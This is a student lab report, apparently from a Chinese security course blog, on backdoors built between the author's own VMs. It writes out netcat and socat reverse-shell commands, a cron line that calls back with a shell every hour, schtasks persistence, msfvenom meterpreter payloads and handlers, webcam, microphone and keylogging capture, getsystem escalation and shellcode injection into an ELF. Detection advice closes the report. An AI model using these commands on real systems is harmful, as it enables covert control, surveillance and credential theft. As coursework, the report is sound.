20242312 2026-2027-1 《网络与系统攻防技术》实验2实验报告

20242312 2026-2027-1 《网络与系统攻防技术》实验2实验报告

实验名称:后门原理与实践

1.基础知识

后门(Backdoor)指的是绕过正常认证、能长期、隐蔽地控制目标主机的一类程序或功能。它和我们常说的木马本质上是一回事:木马是"人",后门是"人进来的那扇暗门"。这次实验做的所有事情,本质都是在自己的两台机器之间,用不同的工具和方法,反复实现从 A 机拿到 B 机的 Shell。

(1)Shell 与反弹 Shell

Shell 就是命令解释器(Linux 的 /bin/sh、/bin/bash,Windows 的 cmd.exe)。

  • 正向连接(Bind Shell):目标机监听端口,攻击机主动连过去。缺点是目标机在防火墙/NAT 后面时连不上。
  • 反向连接(Reverse Shell,反弹 Shell):目标机主动连回攻击机,攻击机监听端口。这样即使目标机在 NAT 后面也没关系。本实验中 nc 目标IP 端口 -e /bin/sh、meterpreter 的 reverse_tcp,走的都是这条思路,也是实际攻击里最常用的一种。

(2)netcat 与 socat

netcat(简称 nc)被称为"网络瑞士军刀",能把 TCP/UDP 连接的标准输入输出直接对接起来,因此既可以当听筒,也可以当话筒,配合 -e 参数还能直接绑定一个 shell。socat 可以看成 nc 的加强版,支持更丰富的地址类型(文件、管道、伪终端 pty 等)。

(3)计划任务:Linux 的 cron 与 Windows 的 schtasks

后门要保证"重启后还在、隔一段时间就回来",最朴素的办法就是挂计划任务。

  • Linux:cron 是周期性执行任务的守护进程,crontab -e 编辑任务,格式为 分 时 日 月 周 命令,* 表示任意值。
  • Windows:schtasks 命令对应图形界面的"任务计划程序",可以设置触发条件(按分钟、按登录、按开机等)和执行的程序。

(4)Metasploit 框架

Metasploit(MSF)是目前最主流的渗透测试框架。本次用到的几块:

  • msfvenom:用来生成 payload,比如生成一个 Windows 的可执行后门、或者一段 shellcode。
  • msfconsole:交互式控制台,配合 exploit/multi/handler 监听并接收反弹回来的连接。
  • meterpreter:一种高级的、运行在内存中的 payload,拿到会话后可以执行文件操作、提权、录音、拍照、键盘记录等一整套后渗透操作。
  • shellcode 与注入:shellcode 是纯机器码形式的一段载荷,可以把它"塞进"另一个正常程序的入口,借别人的壳运行,从而完成反弹连接,这也是后面任务五注入 pwn1 的原理。

(5)后门与免杀

后门要真正生效,还得先过杀毒软件这一关。MSF 自带的 msfvenom 生成的裸 payload 特征明显,很容易被杀软查杀,因此实际中还会用编码器、加壳、混淆等手段做免杀。

2.实验内容

本次实验共 5 个任务,围绕"后门"这一主题逐层展开:

  1. 用 netcat 获取主机操作 Shell,并用 Linux 的 cron 启动一个自定任务;
  2. 用 socat 获取主机操作 Shell,并用 Windows 的任务计划启动;
  3. 用 MSF meterpreter 生成可执行后门文件,用 ncat 传到目标主机并运行,获取 Shell;
  4. 用 meterpreter 后门获取目标主机的音频、摄像头、击键记录等内容,并尝试提权;
  5. 用 MSF 生成 shellcode,注入到实践一的 pwn1 中,获取反弹连接 Shell。

实验环境

角色 系统 主机名 IP
Kali(Linux) Kali Linux 2026.2 虚拟机 zhouzihao 192.168.64.128
Windows 主机 Windows 11(本机) DESKTOP-L4J95J5 172.16.179.91

工具:netcat(nc64.exe / nc)、socat、Metasploit Framework v6.4.135-dev、msfvenom、msfconsole。

3.实验过程

任务一:netcat 获取主机 Shell + cron 启动自定任务

第一步:关闭防火墙与实时保护。 为了让后门的连接不被拦截,先把 Windows 的防火墙关掉,再把 Defender 的实时保护关闭。

第二步:查看本机 IP。 用 ipconfig 查看本机地址,Windows 主机 IP 为 172.16.179.91。

第三步:Windows 端用 netcat 开始监听。 在管理员 PowerShell 里进入 netcat 目录,监听 2409 端口:

./nc64.exe -l -p 2409

其中 -l 表示 listen(监听),-p 指定端口。

第四步:确认端口确实在监听。

netstat -an | findstr "2409"

Q:netstat -an | findstr "2409" 的含义?
netstat 用来查看网络连接状态;-a 显示所有连接和监听端口,-n 以数字形式显示 IP 和端口(不做域名解析);| 是管道,把结果交给 findstr "2409" 过滤,只留下包含 2409 的行。截图结果 TCP 0.0.0.0:2409 0.0.0.0:0 LISTENING 说明本机 2409 端口已成功进入监听状态,等着被连接。

第五步:在 Kali 上切换为 root。

sudo -i

Q:sudo -i 的含义?
sudo 用来以其他用户(默认 root)身份执行命令;-i 表示加载目标用户的登录环境,启动一个交互式登录 Shell。执行后提示符从 kali@zhouzihao 变为 root@zhouzihao,后续操作就具备最高权限了。

第六步:Kali 反向连接 Windows,获取 Shell。

nc 172.16.179.91 2409 -e /bin/sh

Q:这条命令的含义?
Kali 主动连接到 Windows 的 2409 端口;-e /bin/sh 表示连接建立后,把本机(Kali)的 /bin/sh 绑定到这个网络连接上。这样一来,Windows 端的 netcat 就成了一个"遥控器",它输入的命令会在 Kali 上执行,输出再回送回来。这就是典型的反向 Shell。

第七步:验证控制权。 在 Windows 端依次输入 ls、pwd、id、whoami,可以看到命令在 Kali 上被执行,返回 /root、uid=0(root)、root,说明已经以 root 身份控制了 Kali 主机。

第八步:用 cron 设置自定任务。 先体验后门持久化的经典写法——在 Kali 上用 crontab -e 编辑计划任务:

crontab -e

首次使用会让选择编辑器,这里选 2(vim.basic)。

编辑内容如下(每小时的 50 分,自动用 netcat 连回指定主机并交出 shell,这是后门靠 cron 长期驻留的写法):

50 * * * * /bin/netcat 192.168.3.13 2409 -e /bin/sh

用 crontab -l 可以查看已设置的任务。

第九步:查看 cron 任务文件。 以 root 身份打开 /var/spool/cron/,可以看到 root 用户对应的 cron 文件 /var/spool/cron/crontabs/root,里面就保存着刚才写入的计划任务——这也说明 cron 任务是以文件形式持久化在磁盘上的。

第十步:换一个更直观的自定任务并验证。 通过 netcat 再次连接(2312 端口)拿到 Kali 的 shell 后:

crontab -r 2>/dev/null
echo "18 * * * * echo '20242312' > /home/kali/zhouzihao/tempfile/20242312.txt" | crontab -
crontab -l

第一条清空旧任务,第二条用管道把"每小时第 18 分把学号写入指定文件"的任务写进 crontab,第三条确认写入成功。

Q1:第二条命令意思是?
echo "...任务内容..." | crontab - 表示把 echo 输出的这一行文本通过管道交给 crontab,- 表示从标准输入读取任务内容并覆盖写入当前用户的计划任务表。这是一种不用打开编辑器、批量设置 cron 任务的常用写法。
Q2:这里为啥有两个echo,分别是什么意思?
第一个echo是产出 1 行配置文本,将管道符前面的引号内容写进crontab中。第二个echo是输出学号,“>”是重定向,是把输出内容写进后续的文件中。

等待到第 18 分后,在 /home/kali/zhouzihao/tempfile/ 目录下出现了文件 20242312.txt,打开内容正是 20242312,说明 cron 任务按时触发了。

任务一完成。b( ̄▽ ̄)d 。

任务二:socat 获取主机 Shell + 任务计划启动

第一步:Windows 端用 socat 监听并把 cmd 暴露出去。

./socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr

Q:这一步的作用?
socat 在这里扮演"网络—本地程序"的桥梁:tcp-listen:8888 表示监听 8888 端口;exec:cmd.exe 表示一旦有人连进来,就把对方的输入输出接到本机 cmd.exe 上;pty,stderr 表示为 cmd 分配一个伪终端并同时接住错误输出,这样交互体验更接近真实命令行。简单说,就是把 Windows 的 cmd 通过 8888 端口挂到网络上。

第二步:Kali 端用 socat 连接过去,拿到 Windows 的 cmd。

socat - tcp:172.16.179.91:8888

结果直接弹出了 Windows 的命令行(Microsoft Windows [版本 10.0.26200.9457],提示符 D:\app\socat>),说明已经登上了主机的 cmd。

第三步:用 Windows 任务计划实现自启动。 通过上面拿到的 cmd,创建一条每分钟执行一次的计划任务:

schtasks /create /sc minute /mo 1 /tn "20242312zzh" /tr "D:\Administrator\Documents\网络攻防\实验2\20242312.exe"

/sc minute /mo 1 表示按分钟、每 1 分钟触发一次,/tn 是任务名,/tr 是要运行的程序。

第四步:验证任务已创建。 打开"计算机管理 → 系统工具 → 任务计划程序 → 任务计划程序库",可以看到名为 20242312zzh 的任务,触发器显示"在 2026/10/12 的 11:35 时 - 触发后,无限期地每隔 00:01:00 重复一次"。

任务二完成。b( ̄▽ ̄)d 。

任务三:MSF meterpreter 生成后门并获取主机 Shell

第一步:用 msfvenom 生成 Windows 后门程序。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=8888 -f exe > backdoor20242312.exe

-p 指定 payload 为 Windows 的反向 meterpreter,LHOST 是回连地址(Kali 的 IP),LPORT 是回连端口,-f exe 指定输出为 exe 格式。生成结果为 7168 字节。

第二步:用 ncat 把后门文件传送到 Windows。 先在 Windows 端监听并接收文件:

./nc.exe -l -p 410 > "D:\backdoor20242312.exe"

再在 Kali 端把文件发送过去:

nc 172.16.179.91 410 < backdoor20242312.exe

第三步:校验文件是否完整。 传输后两边分别计算哈希值,发现不一致(先在 PowerShell 里校验时对不上),于是改用 cmd 重新接收,最终文件大小正确,可正常运行。

第四步:用 msfconsole 配置监听。

msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.64.128
msf exploit(multi/handler) > set LPORT 8888
msf exploit(multi/handler) > exploit

第五步:在 Windows 上运行后门,反弹连接。

一开始运行 .\backdoor20242312.exe 后,用 netstat -ano | findstr 8888 只能看到 SYN_SENT(说明后门确实在尝试外连,但一直连不上),监听端也没有会话建立。

监听端这边也能看到 handler 的绑定情况,如果 LHOST 与实际地址不一致,就会出现绑定失败、会话起不来的现象:

问题排查: 后来检查网络配置,发现是最开始的 LHOST 填错了。改成正确的 Kali 地址重新生成即可:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=8888 -f exe > backdoor20242312.exe

重新传送并运行后,msfconsole 成功收到会话:Meterpreter session 1 opened (192.168.64.128:8888 → 192.168.64.128:48204),用 dir 可以看到目标主机的 D 盘目录。


任务三完成。b( ̄▽ ̄)d 。

任务四:获取音频、摄像头、击键记录并提权

拿到 meterpreter 会话后,就可以做各种"后渗透"操作。本次通过会话抓取了目标主机的摄像头画面和麦克风录音,抓取到的图片(.jpeg)和音频(.wav)被保存到了 Kali 的 /home/kali 目录下。
alt text

随后进行提权。先用 getuid 查看当前权限,显示为 DESKTOP-L4J95J5\Administrator:

执行 getsystem(meterpreter 自带的提权模块),提示 got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)),再次 getuid 已变成 NT AUTHORITY\SYSTEM,提权成功,拿到了系统最高权限。


任务四完成。b( ̄▽ ̄)d 。

任务五:MSF 生成 shellcode 注入 pwn1,获取反弹连接 Shell

第一步:准备干净的 pwn1。 为确保实践一的 pwn1 文件没有被污染,从共享文件夹中取用干净的 clean_pwn,并使用 msfvenom 的 -x 参数把 shellcode 注入到它里面:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=8888 -x /home/kali/pwnlab_20242312/clean_pwn -k -f elf -o 20242312_pwn1012

-x 指定要注入的可执行文件模板,-k 表示保留原程序的正常功能(shellcode 作为附加载荷运行),-f elf 指定 Linux 可执行文件格式。(ELF——Executable and Linkable Format, 是一种用于可执行文件、目标文件和共享库的文件格式,常用于linux)

第一次生成时发现输出的文件只有 123 字节,明显不对,运行后也只报 j: not found、Syntax error: Unterminated quoted string 之类的错误。

第二步:定位并修复问题。 查询资料后发现是 Metasploit 工具本身更新引入的 bug,位于 /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb:原函数在替换入口点后缺少返回值,导致 msfvenom 输出的是裸 payload 而不是打好补丁后的 elf。手动补上返回值后问题解决。

sudo vim /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb

第三步:重新生成并赋予执行权限。 修复后重新生成,输出 Final size of elf file: 7418 bytes,大小正常;再给它加上可执行权限:

sudo chmod a+x 20242312_pwn1012

补充:由于 clean_pwn 放在 VMware 共享文件夹里,需要先确认共享目录可见(ls /mnt/hgfs/),若为空可用 sudo vmhgfs-fuse .host:/ /mnt/hgfs -o allow_other 挂载。

第四步:msfconsole 监听并运行,拿到反弹 Shell。 配置好 exploit/multi/handler(payload 为 linux/x86/meterpreter/reverse_tcp,LHOST=192.168.64.128,LPORT=8888)后,运行注入后的程序:

./20242312_pwn1012

msfconsole 成功收到会话:Meterpreter session 1 opened (192.168.64.128:8888 → 192.168.64.128:48204),用 dir 可以看到 Kali 的 /home/kali 目录内容,说明 shellcode 注入 pwn1 并获得反弹连接成功。

攻击成功,任务全部完成。b( ̄▽ ̄)d。

4.问题及解决方案

  • 问题1:任务三中在 Windows 上运行后门 backdoor20242312.exe 后,netstat -ano | findstr 8888 只显示 SYN_SENT,msfconsole 监听端始终收不到会话。

  • 问题1解决方案:用 ipconfig 和 ifconfig 重新核对两端网络,发现是生成 payload 时 LHOST 填错了地址。把 LHOST 改成 Kali 真实的连接地址(192.168.64.128)后重新生成、重新传送、重新运行,会话立刻建立成功。教训:反弹 shell 要成功,LHOST 必须指向监听端真正可达的 IP,生成前一定要先确认网络。

  • 问题2:任务五中用 msfvenom -x clean_pwn 生成注入后的文件时,输出只有 123 字节(正常应约 7KB),运行时报 j: not found、Syntax error: Unterminated quoted string。

  • 问题2解决方案:查询资料后确认是 Metasploit 更新引入的 bug,出在 /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb——入口点替换函数缺少返回值,导致输出的不是打好补丁的 elf 而是裸 payload。手动补上函数返回值后重新生成,文件大小恢复为 7418 字节,运行正常。教训:工具本身也可能有 bug,遇到反常现象,要从工具源码层面去找原因,而不是一味怀疑自己的命令。

  • 问题3:用 netcat 传输后门文件时,在 PowerShell 里两边计算的哈希值对不上,怀疑文件损坏。

  • 问题3解决方案:改用 cmd 的 netcat 重新接收文件,并核对文件大小恢复正常。原因是 PowerShell 的重定向/编码方式与 nc 的二进制传输配合时容易出问题,换成 cmd 后一切正常。

  • 问题4:ls /mnt/hgfs/ 没有输出,无法从共享文件夹里取用干净的 pwn1。

  • 问题4解决方案:VMware 共享文件夹没有自动挂载,执行 sudo vmhgfs-fuse .host:/ /mnt/hgfs -o allow_other 手动挂载后即可正常访问。

5.学习感悟、思考等

这次实验最大的感受是:在一些意想不到的地方卡了——LHOST 填错导致会话起不来、msfvenom 因为工具 bug 生成的 elf 根本跑不起来、nc 传文件哈希值对不上……但也让我收获了不少:powershell和cmd在执行相同的命令结果不一定相同、工具源码也可能出错。

其次是对后门的理解具体了很多。现在知道它就是"一串能拿到 shell 的连接方式 + 一套能长期活着的手段":nc -e /bin/sh 是一次性的入口,cron 和 schtasks 是让入口反复重开的机制,而 meterpreter 则更进一步——能拍照、录音、记录键盘、还能 getsystem 一步提权到 SYSTEM。

最后又熟悉了一个linux常用命令——">"。它是重定向的意思,这回记牢了。

回答问题:

(1)后门进入系统的可能方式(能想到的):

  • 钓鱼邮件 / 恶意附件:伪装成简历、发票的文档或 exe,诱导点击运行。
  • 捆绑软件:破解补丁、外挂、盗版工具里夹带后门,安装即中招。
  • 远程漏洞利用:利用系统或第三方软件的漏洞(如 MS17-010 永恒之蓝)远程植入。
  • 弱口令爆破:远程桌面、SSH 弱口令被破解后直接上传后门。
  • 移动介质:U 盘、网盘、共享文件夹等带入。
  • 供应链攻击:正规软件的更新包或开源依赖库被篡改,被动中招。
  • 网页挂马 / 水坑攻击:访问被挂马的网站时被静默植入。

(2)后门在 Windows 和 Linux 上的启动方式:

  • Linux:cron / crontab 计划任务(本次实验用的就是它);systemd 服务;/etc/rc.local、/etc/init.d 开机启动;/etc/profile、~/.bashrc、~/.bash_profile 等用户登录时执行;LD_PRELOAD 劫持动态库;别名或 PATH 劫持。
  • Windows:schtasks 任务计划(本次实验用到);注册表 Run / RunOnce 自启动项;"启动"文件夹;注册为系统服务(sc create);Winlogon 的 Shell / Userinit 替换;映像劫持(IFEO);WMI 事件订阅;COM 组件劫持。

(3)Meterpreter 让我印象深刻的功能:

  • getsystem 提权:一条命令就从管理员拿到 NT AUTHORITY\SYSTEM。
  • webcam_snap / record_mic:直接调用目标机摄像头拍照、麦克风录音,隐私风险极大。
  • keyscan_start / keyscan_dump:后台记录键盘输入,能直接拿到密码等敏感内容。
  • migrate 进程迁移:把会话迁移到稳定进程里,目标程序关闭也不掉线。

(4)如何发现系统是否被安装后门:

  • 看网络:netstat -an / ss -tunlp 关注异常的外联连接和陌生的监听端口(Windows 可 netstat -ano 结合 tasklist 定位进程)。
  • 看计划任务:Linux 查 crontab -l、/etc/cron.*;Windows 查 schtasks /query 和"任务计划程序"。
  • 看自启动项:Windows 查注册表 Run 键、启动文件夹、服务;Linux 查 rc.local、systemd、init.d、.bashrc。
  • 看进程与文件:ps / 任务管理器里找陌生、无签名的进程;留意最近被修改的文件和临时目录。
  • 看账号与日志:检查是否有陌生账户、异常提权;分析 /var/log、Windows 事件日志中的登录记录。
  • 工具查杀:用杀毒软件 / EDR 全盘扫描,或用 chkrootkit、rkhunter 等专门检测 rootkit,并做文件完整性校验。

参考资料

posted @ 2026-10-13 22:03  chow-  阅读(29)  评论(0)    收藏  举报